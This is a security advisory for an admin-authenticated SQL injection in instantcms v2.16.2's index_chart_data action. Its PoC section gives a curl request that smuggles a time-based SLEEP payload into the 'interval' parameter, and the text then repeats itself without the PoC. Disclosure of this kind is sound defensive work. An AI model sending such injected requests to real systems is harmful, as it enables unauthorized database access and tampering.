Summary
An SQL injection vulnerability affects instantcms v2.16.2 in which an attacker with administrative
privileges can cause the application to execute unauthorized SQL code.
Details
The vulnerability exists in index_chart_data action, which receives an input from user and passes it unsanitized to the core model filterFunc function that further embeds this data in an SQL statement. This allows attackers to inject unwanted SQL code into the statement.
period should be escaped before inserting it in the query.
PoC
- Login to instantcms using an account with administrative privileges.
- Copy the session cookie.
- Insert the cookie in the format NAME=VALUE in the following request and start the request.
$ curl -X POST http://instantcms.seclab/admin/index_chart_data -b "COOKIE;" -H "X-Requested-With: XMLHttpRequest" -H "Content-Type: application/x-www-form-urlencoded; charset=UTF-8" --data "id=content§ion=news&interval=SLEEP(3):day"
- The server will sleep for 3 seconds before returning the response.
Impact
SQL injection vulnerabilities have high severity as they expose the database to attackers, and if the database user have write permissions set, such injections would be critical as the attackers can change any data in the database which will compromising the integrity of this database.
u32i Finder
Summary
An SQL injection vulnerability affects instantcms v2.16.2 in which an attacker with administrative
privileges can cause the application to execute unauthorized SQL code.
Details
The vulnerability exists in index_chart_data action, which receives an input from user and passes it unsanitized to the core model filterFunc function that further embeds this data in an SQL statement. This allows attackers to inject unwanted SQL code into the statement.
period should be escaped before inserting it in the query.
PoC
Impact
SQL injection vulnerabilities have high severity as they expose the database to attackers, and if the database user have write permissions set, such injections would be critical as the attackers can change any data in the database which will compromising the integrity of this database.